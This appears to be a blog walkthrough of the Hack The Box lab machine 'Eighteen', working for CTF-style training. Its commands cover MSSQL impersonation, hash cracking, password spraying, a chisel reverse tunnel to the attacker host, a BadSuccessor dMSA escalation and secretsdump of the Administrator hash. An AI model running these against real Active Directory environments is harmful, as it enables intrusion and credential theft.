MysticHackersBlog

Eighteen WriteUp - HackTheBox


Eighteen is an Easy-rated Windows machine on Hack The Box. It demonstrates how to perform a red-team attack against Active Directory by leveraging impersonation and weak permissions that can lead to Resource-Based Constrained Delegation (RBCD).

The machine uses an assumed-breach attack vector and we are provided with the credentials kevin:iNa2we6haRj2gaw! initially.


ENUMERATION

Note: The nmap scan might not reveal all the ports when the machine has just started. Give it some time to load processes after it boots.

NMAP

We start things off with an nmap service scan.

nmap -sVC --min-rate 1000 10.10.11.95 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-16 00:44 IST
Nmap scan report for eighteen.htb (10.10.11.95)
Host is up (0.15s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE  VERSION
80/tcp   open  http     Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Welcome - eighteen.htb
1433/tcp open  ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ssl-date: 2025-11-16T02:16:43+00:00; +7h00m17s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-11-16T02:03:46
|_Not valid after:  2055-11-16T02:03:46
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
5985/tcp open  http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h00m16s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 101.57 seconds

The scan reveals three ports - 80 (Website), 1433(MSSQL Server) and 5985 (WinRM).

We also see that the domain name being used is eighteen.htb. It is imperitive we add the domain to our /etc/hosts to proceed further.

echo "10.10.11.95  eighteen.htb" | sudo tee -a /etc/hosts

WEBSITE

The website reveals an app about financial services is hosted on the server.

Website

The website does have a login and register page indicating that the server has a well working authentication system.

We can create an account at http://eighteen.htb/register.

On logging into the freshly created account, we can see a session cookie that resembles Flask. This cookie gives away the tech stack used to build the site.

session cookie

MSSQL

Next, we move to the MSSQL server. We can connect to it using impacket's mssqlclient.py and the credentials provided earlier.

mssqlclient.py eighteen.htb/kevin:'iNa2we6haRj2gaw!'@eighteen.htb

Next, we start enumeration (only the commands that reveal useful information are listed here).

A list of basic commands built into mssqlclient.py can be accessed using:

SQL (kevin  guest@master)> help

    lcd {path}                 - changes the current local directory to {path}
    exit                       - terminates the server process (and this session)
    enable_xp_cmdshell         - you know what it means
    disable_xp_cmdshell        - you know what it means
    enum_db                    - enum databases
    enum_links                 - enum linked servers
    enum_impersonate           - check logins that can be impersonated
    enum_logins                - enum login users
    enum_users                 - enum current db users
    enum_owner                 - enum db owner
    exec_as_user {user}        - impersonate with execute as user
    exec_as_login {login}      - impersonate with execute as login
    xp_cmdshell {cmd}          - executes cmd using xp_cmdshell
    xp_dirtree {path}          - executes xp_dirtree on the path
    sp_start_job {cmd}         - executes cmd using the sql server agent (blind)
    use_link {link}            - linked server to use (set use_link localhost to go back to local or use_link .. to get back one step)
    ! {cmd}                    - executes a local shell cmd
    show_query                 - show query
    mask_query                 - mask query

We begin with enumerating databsases.

SQL (kevin  guest@master)> enum_db

    name                is_trustworthy_on   
    -----------------   -----------------   
    master                              0   

    tempdb                              0   

    model                               0   

    msdb                                1   

    financial_planner                   0   

There is a database named financial_planner, which should be related to the website but kevin is not allowed to access it.

Enumerating linked servers, we obtain the name for the Domain Controller (DC01).

SQL (kevin  guest@master)> enum_links

    SRV_NAME   SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE   SRV_PROVIDERSTRING   SRV_LOCATION   SRV_CAT   
    --------   ----------------   -----------   --------------   ------------------   ------------   -------   
    DC01       SQLNCLI            SQL Server    DC01             NULL                 NULL           NULL     

A fruitful result is obtained when checking for the IMPERSONATE permission.

SQL (kevin  guest@master)> enum_impersonate

    execute as   database   permission_name   state_desc   grantee   grantor   
    ----------   --------   ---------------   ----------   -------   -------   
    b'LOGIN'     b''        IMPERSONATE       GRANT        kevin     appdev 

OR

SELECT * FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE';

Apparently, kevin can impersonate the appdev account. To impersonate appdev and access the financial_planner database:

SQL (kevin  guest@master)> EXECUTE AS LOGIN = 'appdev';
SQL (appdev  appdev@master)> use financial_planner;

    ENVCHANGE(DATABASE): Old Value: master, New Value: financial_planner
    INFO(DC01): Line 1: Changed database context to 'financial_planner'.

For people who like to search the web for CVEs, the major hint that leads us down this same path is CVE-2025-24999

The database contains a users table.

SQL (appdev  appdev@financial_planner)> SELECT table_name FROM information_schema.tables;

    table_name    
    -----------   
    users         

    incomes       

    expenses      

    allocations   

    analytics     

    visits        

Inside the users table, we find the admin account along with its pbkdf2-sha256 hash.

SQL (appdev  appdev@financial_planner)> select * from users;
  id   full_name   username   email                password_hash                                                                                            is_admin   created_at   
----   ---------   --------   ------------------   ------------------------------------------------------------------------------------------------------   --------   ----------   
1002   admin       admin      [email protected]   pbkdf2:sha256:600000$<HIDDEN>         1   2025-10-29 05:39:03   

We copy this hash for brute-forcing for now.

BRUTEFORCING WINDOWS USERS

The box does not expose any windows service except winrm and mssql. Kevin is not allowed to connect to winrm but only to mssql. The next step then would be to use netexec to brute force Windows Accounts' RID.

nxc mssql 10.10.11.95 -u kevin -p 'iNa2we6haRj2gaw!' --local-auth --rid-brute

This gives a list of users. We copy the potentially useful usernames (last 10) to users.lst.


FOOTHOLD

Having obtained the password hash and a list of possible usernames it could belong to, we move towards getting a foothold.

HASHCAT

The password hash is not in a hashcat-friendly format. To convert it to hashcat's format, we use this script.

If xxd is not installed: sudo apt install xxd

chmod +x pbkdf2Flask_hashcat.sh

./pbkdf2Flask_hashcat.sh 'pbkdf2:sha256:6000$<HIDDEN>' > hash.txt

And finally, crack it.

hashcat -a 0 hash.txt /usr/share/seclists/rockyou.txt -w 3

This reveals the password within a few minutes.

Next, we use the user list we created along with this password to perform a password spray attack.

nxc winrm 10.10.11.95 -u users.lst -p '<hidden>'

    WINRM       10.10.11.95     5985   DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb)
    WINRM       10.10.11.95     5985   DC01             [-] eighteen.htb\jane.smith:<hidden>
    WINRM       10.10.11.95     5985   DC01             [+] eighteen.htb\adam.scott:<hidden> (Pwn3d!)

Finally, we can successfully connect to the server as adam.scott using evil-winrm.

evil-winrm -i eighteen.htb -u adam.scott -p '<hidden>'

USER FLAG

Having connected as adam.scott through evil-winrm, we can obtain the user flag from his Desktop folder.

*Evil-WinRM* PS C:\Users\adam.scott\Documents> type C:\Users\adam.scott\Desktop\user.txt

PRIVLEGE ESCALATION

Next, we move on to explore what privileges we have as Adam.

*Evil-WinRM* PS C:\Users\adam.scott\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

Apparently, Adam.Scott can add workstations and increase working set privilege. These privileges point toward Resource Based Constrained Delegation (RBCD), more precisely, a BadSuccessor attack seems promising.

Before moving further, since the machine does not expose many ports, we upload chisel to access all the services running on the machine.

*Evil-WinRM* PS C:\Users\adam.scott\Documents> upload chisel.exe

Next, we start chisel in server mode on our machine, and in client mode on the target.

chisel server --reverse --socks5 -p 6000
Start-Process -FilePath C:\Users\adam.scott\Documents\chisel.exe
-ArgumentList "client","10.10.16.x:6000","R:socks"

Having prepared the basic setup for performing the Bad Successor attack, we can now proceed with the attack. We used chisel because Rubeus does not work as demonstrated in the official ReadMe to obtain the tickets later in the attack so, we use a workaround (Impacket's getST.py). The BadSuccessor.exe binary can be downloaded from here.

Next, we upload the binary.

evil-winrm-py PS C:\Users\adam.scott\Documents> upload BadSuccessor.exe .

Then identify the target Organisational Units (OUs).

evil-winrm-py PS C:\Users\adam.scott\Documents> ./BadSuccessor.exe find

    ______           __ _______                                               
    |   __ \ .---.-.--|  |     __|.--.--.----.----.-----.-----.-----.-----.----.
    |   __ < |  _  |  _  |__     ||  |  |  __|  __|  -__|__ --|__ --|  _  |   _|
    |______/ |___._|_____|_______||_____|____|_____|_____|_____|_____|_____|__|  

    Researcher: @YuG0rd
    Author: @kreepsec


    [*] OUs you have write access to:
        -> OU=Domain Controllers,DC=eighteen,DC=htb
        Privileges: GenericWrite, GenericAll
        -> OU=Staff,DC=eighteen,DC=htb
        Privileges: GenericWrite, GenericAll, CreateChild

Create the malicious account.

evil-winrm-py PS C:\Users\adam.scott\Documents> .\BadSuccessor.exe escalate -targetOU "OU=Staff,DC=eighteen,DC=ht
b" -dmsa IceBreaker -targetUser "CN=Administrator,CN=Users,DC=eighteen,DC=htb"  -dnshostname IceBreaker -user ada
m.scott -dc-ip 10.10.11.95
    ______           __ _______                                               
    |   __ \ .---.-.--|  |     __|.--.--.----.----.-----.-----.-----.-----.----.
    |   __ < |  _  |  _  |__     ||  |  |  __|  __|  -__|__ --|__ --|  _  |   _|
    |______/ |___._|_____|_______||_____|____|_____|_____|_____|_____|_____|__|  

    Researcher: @YuG0rd
    Author: @kreepsec

    [*] Creating dMSA object...
    [*] Inheriting target user privileges
        -> msDS-ManagedAccountPrecededByLink = CN=Administrator,CN=Users,DC=eighteen,DC=htb
        -> msDS-DelegatedMSAState = 2
    [+] Privileges Obtained.
    [*] Setting PrincipalsAllowedToRetrieveManagedPassword
        -> msDS-GroupMSAMembership = adam.scott
    [+] Setting userAccountControl attribute
    [+] Setting msDS-SupportedEncryptionTypes attribute

    [+] Created dMSA 'IceBreaker' in 'OU=Staff,DC=eighteen,DC=htb', linked to 'CN=Administrator,CN=Users,DC=eighteen,DC=htb' (DC: 10.10.11.95)

And move to the final phase of extracting the ticket.

For executing this, the latest version of Fortra-Impacket from the main branch which supports the -dmsa flag is required.

Before proceeding further, we need to sync our time with the domain controller.

sudo date -s "$(proxychains4 -q net time -S dc01.eighteen.htb)"

Next, we get the TGT for Adam.Scott for kerberos authentication.

proxychains4 getTGT.py eighteen.htb/adam.scott:'iloveyou1'
[proxychains] config file found: /etc/proxychains4.conf

export KRB5CCNAME=adam.scott.ccache

Then we impersonate IceBreaker through Adam.Scott and dump IceBreaker's krbtgt.

proxychains4 getST.py 'eighteen.htb/adam.scott':'iloveyou1' -impersonate 'IceBreaker$' -self -dmsa -dc-ip 10.10.11.95 

Now, using this ticket, we get a service ticket for cisf/dc01.eighteen.htb to dump credentials.

export KRB5CCNAME='IceBreaker$@[email protected]'

proxychains4  getST.py -k -no-pass -spn cifs/dc01.eighteen.htb -dc-ip 10.10.11.95 'eighteen.htb/IceBreaker$'

And finally, dump Administrator's credentials using the service ticket.

export KRB5CCNAME='IceBreaker$@[email protected]'

proxychains4 secretsdump.py -k -no-pass -just-dc-user administrator -dc-ip 10.10.11.95 -target-ip 10.10.11.95 dc01.eighteen.htb

This reveals the admin hash. adminHash

ROOT FLAG

Finally, we can connect as Administrator by simply using evil-wirnm and the obtained hash.

evil-winrm -i 10.10.11.95 -u Administrator -H '<hidden>'

To read the root flag:

*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/root.txt

root This concludes Eighteen machine.